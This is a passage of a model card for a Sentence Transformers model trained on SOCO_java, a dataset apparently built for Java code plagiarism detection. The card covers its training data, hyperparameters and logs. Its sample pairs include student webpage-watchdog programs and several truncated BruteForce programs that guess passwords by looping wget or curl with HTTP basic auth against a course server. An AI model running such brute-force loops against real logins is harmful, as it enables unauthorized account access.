Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n', |
| | '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr = t.exec("md5sum csfirst.html");\n\n InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n BufferedReader bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\t\t index = s.indexOf(\' \');\n\t\t Fmd5 = s.substring(0,index);\n\t\t System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t pr = null;\n\t\t \n\t\t pr = t.exec("md5sum index.html");\n\t\t \n\n\t\t InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\t\t index = temp1.indexOf(\' \');\n\t\t Smd5 = temp1.substring(0,index);\n\t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5 == Smd5)\n\t\t System.out.println(" changes Detected");\n\t\t else\n\t\t {\n\t\t pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException e){}\n\t}\n}\t\t\n', |
| | ] |
| | embeddings = model.encode(sentences) |
| | print(embeddings.shape) |
| | # [3, 768] |
| | |
| | # Get the similarity scores for the embeddings |
| | similarities = model.similarity(embeddings, embeddings) |
| | print(similarities.shape) |
| | # [3, 3] |
| | ``` |
| |
|
| | <!-- |
| | ### Direct Usage (Transformers) |
| |
|
| | <details><summary>Click to see the direct usage in Transformers</summary> |
| |
|
| | </details> |
| | --> |
| |
|
| | <!-- |
| | ### Downstream Usage (Sentence Transformers) |
| |
|
| | You can finetune this model on your own dataset. |
| |
|
| | <details><summary>Click to expand</summary> |
| |
|
| | </details> |
| | --> |
| |
|
| | <!-- |
| | ### Out-of-Scope Use |
| |
|
| | *List how the model may foreseeably be misused and address what users ought not to do with the model.* |
| | --> |
| |
|
| | <!-- |
| | ## Bias, Risks and Limitations |
| |
|
| | *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
| | --> |
| |
|
| | <!-- |
| | ### Recommendations |
| |
|
| | *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
| | --> |
| |
|
| | ## Training Details |
| |
|
| | ### Training Dataset |
| |
|
| | #### soco_java |
| | |
| | * Dataset: soco_java |
| | * Size: 30,069 training samples |
| | * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> |
| | * Approximate statistics based on the first 1000 samples: |
| | | | label | text_1 | text_2 | |
| | |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------| |
| | | type | int | string | string | |
| | | details | <ul><li>0: ~99.70%</li><li>1: ~0.30%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 450.65 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 468.5 tokens</li><li>max: 512 tokens</li></ul> | |
| | * Samples: |
| | | label | text_1 | text_2 | |
| | |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
| | | <code>0</code> | <code><br><br><br><br> <br>import java.io.*;<br>import java.net.*;<br>import java.Runtime;<br>import java.util.*;<br>import java.net.smtp.SmtpClient; <br><br><br><br>public class WatchDog<br><br>{<br><br> static String strImageOutputFile01 = "WebPageImages01.txt";<br> static String strImageOutputFile02 = "WebPageImages02.txt";<br><br> static String strWebPageOutputFile01 = "WebPageOutput01.txt";<br> static String strWebPageOutputFile02 = "WebPageOutput02.txt";<br><br> static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";<br><br> static String strFromEmailDefault = "@.rmit.edu.";<br> static String strToEmailDefault = "@.rmit.edu.";<br><br> static String strFromEmail = null;<br> static String strToEmail = null;<br><br><br><br><br> public static void main (String args[])<br> <br> {<br><br> <br> <br> <br> <br> <br><br> URL url = null;<br> HttpURLConnection urlConnection;<br> int intContentLength;<br> String strWebPageText = "";<br><br> String strURL = "http://www.cs.rmit.edu./students/";<br> String strPrePend = "...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | |
| | | <code>0</code> | <code>import java.util.*;<br>import java.io.*;<br>import java.*;<br><br>public class Dogs5<br>{<br> public static void main(String [] args) throws Exception<br> { <br> executes("rm index.*");<br> executes("wget http://www.cs.rmit.edu./students");<br><br> while (true)<br> {<br> String addr= "wget http://www.cs.rmit.edu./students";<br> executes(addr);<br> String hash1 = md5sum("index.html");<br> String hash2 = md5sum("index.html.1");<br> System.out.println(hash1 +"|"+ hash2);<br> <br> BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));<br><br> String line=" " ;<br> String line1=" " ;<br> String line2=" ";<br> String line3=" ";<br> String[] cad = new String[10];<br> <br> executes("./.sh");<br> <br> int i=0;<br> while ((line = buf.readLine()) != null)<br> {<br> <br> line1="http://www.cs.rmit.edu./students/images"+line;<br> if (i==1)<br> line2="http://www.cs.rmi...</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | |
| | | <code>0</code> | <code><br><br>import java.util.*;<br>import java.text.*;<br>import java.io.*;<br>import java.*;<br>import java.net.*;<br><br>public class WatchDog<br>{<br> public static void main(String args[])<br> {<br> String s = null;<br> String webpage = "http://www.cs.rmit.edu./students/";<br> <br> <br> String file1 = "file1";<br> String file2 = "file2";<br> <br> try<br> {<br> Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);<br> <br> BufferedReader stdInput = new BufferedReader(new <br> InputStreamReader(p.getInputStream()));<br><br> BufferedReader stdError = new BufferedReader(new <br> InputStreamReader(p.getErrorStream()));<br><br> <br> while ((s = stdInput.readLine()) != null) { <br> System.out.println(s);<br> }<br> <br> <br> while ((s = stdError.readLine()) != null) { <br> System.out.println(s);<br> }<br> <br> try<br> {<br> p.waitFor(); <br> }<br> catch...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br>import java.String;<br>import java.Object;<br>import java.awt.*;<br><br><br><br>public class WatchDog<br>{<br> private URL url;<br> private URLConnection urlcon;<br> private int lastModifiedSince = 0;<br> private int lastModified[] = new int[2];<br><br> private int count = 0;<br><br> public static String oldFile;<br> public static String newFile;<br><br> private String diffFile;<br><br> private BufferedWriter bw;<br> private Process p;<br> private Runtime r;<br> private String fileName;<br><br> <br> <br> private ArrayList old[]= new ArrayList[500];<br> private ArrayList news[] = new ArrayList[500];<br> private String info = "";<br> private int index = 0;<br><br> public WatchDog(String fileName)<br> {<br> this.fileName = fileName;<br> oldFile = fileName + ".old";<br> newFile = fileName + ".new";<br> diffFile = "testFile.txt";<br> }<br> public static void main(String args[])<br> {<br> WatchDog wd = new WatchDog("TestDog");<br><br> wd.detectChange(WatchDog.oldFile);<br> while (true)<br> {<br> try<br> {<br> Thread.slee...</code> | |
| | * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) |
| |
|
| | ### Evaluation Dataset |
| |
|
| | #### soco_java |
| | |
| | * Dataset: [soco_java](https://huggingface.co/datasets/buelfhood/SOCO_java) at [c8fab14](https://huggingface.co/datasets/buelfhood/SOCO_java/tree/c8fab14a9c72776b7d47763c7ab0bccaed49b7fc) |
| | * Size: 3,342 evaluation samples |
| | * Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> |
| | * Approximate statistics based on the first 1000 samples: |
| | | | label | text_1 | text_2 | |
| | |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| |
| | | type | int | string | string | |
| | | details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.11 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.05 tokens</li><li>max: 512 tokens</li></ul> | |
| | * Samples: |
| | | label | text_1 | text_2 | |
| | |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
| | | <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br> public static void main(String[] args) <br> {<br> Runtime rt = Runtime.getRuntime();<br> Process pr= null;<br> char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> String pass;<br> char temp[] = {'a','a'};<br> char temp1[] = {'a','a','a'};<br> char temp2[] = {'a'};<br><br> String f= new String();<br> String resp = new String();<br> int count=0;<br> String success = new String();<br> InputStreamReader instre;<br> BufferedReader bufread;<br><br><br> for(int k=0;k<52;k++)<br> {<br> temp2[0]=chars[k];<br> pass = new String(temp2); <br> count++; <br><br> System.out.println("The password tried ...</code> | |
| | | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br> private static final int passwdLength = 3; <br> private static String commandLine<br> = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> private int charLen = chars.length(); <br> private int n = 0; <br> private int n3 = charLen*charLen*charLen; <br> private String response;<br> private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br> private char[][] data = new char[passwdLength][charLen];<br> private char[] pwdChar2 = new char[2];<br> private char[] pwdChar = new char[passwdLength];<br> private String url;<br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br>...</code> | |
| | | <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> public static void main (String[] args)<br> {<br> String pw = new String();<br> pw = getPassword ();<br> System.out.println("Password is: "+pw);<br> }<br> public static String getPassword()<br> {<br> String passWord = new String();<br> passWord = "AAA";<br> char[] guess = passWord.toCharArray();<br> Process pro = null;<br> Runtime runtime = Runtime.getRuntime();<br> BufferedReader in = null;<br> String str=null;<br> boolean found = true;<br><br> System.out.println(" attacking.....");<br> for (int i=65;i<=122 ;i++ )<br> {<br> guess[0]=(char)(i);<br> for (int j=65;j<=122 ;j++ )<br> {<br> guess[1]=(char)(j);<br> for (int k=65 ;k<=122 ;k++ )<br> {<br> guess[2]=(char)(k);<br> passWord = new String(guess);<br> String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br> try<br> {<br> pro = runtime.exec(cmd);<br><br> in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code> | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br> private static final String USERNAME = "";<br> private static final char [] POSSIBLE_CHAR =<br> {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br> 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br> 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private static int NUMBER_OF_THREAD = 500;<br><br> private static Date startDate = null;<br> private static Date endDate = null;<br><br> private String address;<br> private String password;<br><br> public BruteForce(String address, String password)<br> {<br> this.address = address;<br> this.password = password;<br> }<br><br> public static void main(String[] args) throws IOException<br> {<br> if (args.length < 1)<br> {<br> System.err.println("Invalid usage!");<br> System.err.println("...</code> | |
| | * Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) |
| |
|
| | ### Training Hyperparameters |
| | #### Non-Default Hyperparameters |
| |
|
| | - `per_device_train_batch_size`: 16 |
| | - `per_device_eval_batch_size`: 16 |
| | - `learning_rate`: 2e-05 |
| | - `num_train_epochs`: 1 |
| | - `warmup_ratio`: 0.1 |
| | - `fp16`: True |
| |
|
| | #### All Hyperparameters |
| | <details><summary>Click to expand</summary> |
| |
|
| | - `overwrite_output_dir`: False |
| | - `do_predict`: False |
| | - `eval_strategy`: no |
| | - `prediction_loss_only`: True |
| | - `per_device_train_batch_size`: 16 |
| | - `per_device_eval_batch_size`: 16 |
| | - `per_gpu_train_batch_size`: None |
| | - `per_gpu_eval_batch_size`: None |
| | - `gradient_accumulation_steps`: 1 |
| | - `eval_accumulation_steps`: None |
| | - `torch_empty_cache_steps`: None |
| | - `learning_rate`: 2e-05 |
| | - `weight_decay`: 0.0 |
| | - `adam_beta1`: 0.9 |
| | - `adam_beta2`: 0.999 |
| | - `adam_epsilon`: 1e-08 |
| | - `max_grad_norm`: 1.0 |
| | - `num_train_epochs`: 1 |
| | - `max_steps`: -1 |
| | - `lr_scheduler_type`: linear |
| | - `lr_scheduler_kwargs`: {} |
| | - `warmup_ratio`: 0.1 |
| | - `warmup_steps`: 0 |
| | - `log_level`: passive |
| | - `log_level_replica`: warning |
| | - `log_on_each_node`: True |
| | - `logging_nan_inf_filter`: True |
| | - `save_safetensors`: True |
| | - `save_on_each_node`: False |
| | - `save_only_model`: False |
| | - `restore_callback_states_from_checkpoint`: False |
| | - `no_cuda`: False |
| | - `use_cpu`: False |
| | - `use_mps_device`: False |
| | - `seed`: 42 |
| | - `data_seed`: None |
| | - `jit_mode_eval`: False |
| | - `use_ipex`: False |
| | - `bf16`: False |
| | - `fp16`: True |
| | - `fp16_opt_level`: O1 |
| | - `half_precision_backend`: auto |
| | - `bf16_full_eval`: False |
| | - `fp16_full_eval`: False |
| | - `tf32`: None |
| | - `local_rank`: 0 |
| | - `ddp_backend`: None |
| | - `tpu_num_cores`: None |
| | - `tpu_metrics_debug`: False |
| | - `debug`: [] |
| | - `dataloader_drop_last`: False |
| | - `dataloader_num_workers`: 0 |
| | - `dataloader_prefetch_factor`: None |
| | - `past_index`: -1 |
| | - `disable_tqdm`: False |
| | - `remove_unused_columns`: True |
| | - `label_names`: None |
| | - `load_best_model_at_end`: False |
| | - `ignore_data_skip`: False |
| | - `fsdp`: [] |
| | - `fsdp_min_num_params`: 0 |
| | - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
| | - `fsdp_transformer_layer_cls_to_wrap`: None |
| | - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
| | - `deepspeed`: None |
| | - `label_smoothing_factor`: 0.0 |
| | - `optim`: adamw_torch |
| | - `optim_args`: None |
| | - `adafactor`: False |
| | - `group_by_length`: False |
| | - `length_column_name`: length |
| | - `ddp_find_unused_parameters`: None |
| | - `ddp_bucket_cap_mb`: None |
| | - `ddp_broadcast_buffers`: False |
| | - `dataloader_pin_memory`: True |
| | - `dataloader_persistent_workers`: False |
| | - `skip_memory_metrics`: True |
| | - `use_legacy_prediction_loop`: False |
| | - `push_to_hub`: False |
| | - `resume_from_checkpoint`: None |
| | - `hub_model_id`: None |
| | - `hub_strategy`: every_save |
| | - `hub_private_repo`: None |
| | - `hub_always_push`: False |
| | - `gradient_checkpointing`: False |
| | - `gradient_checkpointing_kwargs`: None |
| | - `include_inputs_for_metrics`: False |
| | - `include_for_metrics`: [] |
| | - `eval_do_concat_batches`: True |
| | - `fp16_backend`: auto |
| | - `push_to_hub_model_id`: None |
| | - `push_to_hub_organization`: None |
| | - `mp_parameters`: |
| | - `auto_find_batch_size`: False |
| | - `full_determinism`: False |
| | - `torchdynamo`: None |
| | - `ray_scope`: last |
| | - `ddp_timeout`: 1800 |
| | - `torch_compile`: False |
| | - `torch_compile_backend`: None |
| | - `torch_compile_mode`: None |
| | - `include_tokens_per_second`: False |
| | - `include_num_input_tokens_seen`: False |
| | - `neftune_noise_alpha`: None |
| | - `optim_target_modules`: None |
| | - `batch_eval_metrics`: False |
| | - `eval_on_start`: False |
| | - `use_liger_kernel`: False |
| | - `eval_use_gather_object`: False |
| | - `average_tokens_across_devices`: False |
| | - `prompts`: None |
| | - `batch_sampler`: batch_sampler |
| | - `multi_dataset_batch_sampler`: proportional |
| |
|
| | </details> |
| |
|
| | ### Training Logs |
| | | Epoch | Step | Training Loss | Validation Loss | |
| | |:------:|:----:|:-------------:|:---------------:| |
| | | 0.0532 | 100 | 0.2015 | 0.0240 | |
| | | 0.1064 | 200 | 0.0143 | 0.0209 | |
| | | 0.1596 | 300 | 0.0241 | 0.0241 | |
| | | 0.2128 | 400 | 0.0174 | 0.0213 | |
| | | 0.2660 | 500 | 0.0228 | 0.0206 | |
| | | 0.3191 | 600 | 0.0061 | 0.0226 | |
| | | 0.3723 | 700 | 0.0194 | 0.0208 | |
| | | 0.4255 | 800 | 0.0193 | 0.0197 | |
| | | 0.4787 | 900 | 0.0261 | 0.0175 | |
| | | 0.5319 | 1000 | 0.0189 | 0.0178 | |
| | | 0.5851 | 1100 | 0.0089 | 0.0188 | |
| | | 0.6383 | 1200 | 0.0174 | 0.0161 | |
| | | 0.6915 | 1300 | 0.0171 | 0.0162 | |
| | | 0.7447 | 1400 | 0.0149 | 0.0155 | |
| | | 0.7979 | 1500 | 0.011 | 0.0164 | |
| | | 0.8511 | 1600 | 0.0308 | 0.0160 | |
| | | 0.9043 | 1700 | 0.0048 | 0.0167 | |
| | | 0.9574 | 1800 | 0.0142 | 0.0164 | |
| | | 0.0532 | 100 | 0.0049 | - | |
| | | 0.1064 | 200 | 0.0117 | - | |
| | | 0.1596 | 300 | 0.0151 | - | |
| | | 0.2128 | 400 | 0.0152 | - | |
| | | 0.2660 | 500 | 0.0138 | - | |
| | | 0.3191 | 600 | 0.0051 | - | |
| | | 0.3723 | 700 | 0.0143 | - | |
| | | 0.4255 | 800 | 0.0155 | - | |
| | | 0.4787 | 900 | 0.0147 | - | |
| | | 0.5319 | 1000 | 0.0128 | - | |
| | | 0.5851 | 1100 | 0.0061 | - | |
| | | 0.6383 | 1200 | 0.0138 | - | |
| | | 0.6915 | 1300 | 0.0082 | - | |
| | | 0.7447 | 1400 | 0.0095 | - | |
| | | 0.7979 | 1500 | 0.0073 | - | |
| | | 0.8511 | 1600 | 0.0189 | - | |
| | | 0.9043 | 1700 | 0.0028 | - | |
| | | 0.9574 | 1800 | 0.0092 | - | |
| |
|
| |
|
| | ### Framework Versions |
| | - Python: 3.11.13 |
| | - Sentence Transformers: 4.1.0 |
| | - Transformers: 4.52.4 |
| | - PyTorch: 2.6.0+cu124 |
| | - Accelerate: 1.7.0 |
| | - Datasets: 3.6.0 |
| | - Tokenizers: 0.21.1 |
| |
|
| | ## Citation |
| |
|
| | ### BibTeX |
| |
|
| | #### Sentence Transformers and SoftmaxLoss |
| | ```bibtex |
| | @inproceedings{reimers-2019-sentence-bert, |
| | title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
| | author = "Reimers, Nils and Gurevych, Iryna", |
| | booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
| | month = "11", |
| | year = "2019", |
| | publisher = "Association for Computational Linguistics", |
| | url = "https://arxiv.org/abs/1908.10084", |
| | } |
| | ``` |
| |
|
| | <!-- |
| | ## Glossary |
| |
|
| | *Clearly define terms in order to be accessible across audiences.* |
| | --> |
| |
|
| | <!-- |
| | ## Model Card Authors |
| |
|
| | *Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* |
| | --> |
| |
|
| | <!-- |
| | ## Model Card Contact |
| |
|
| | *Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* |
| | --> |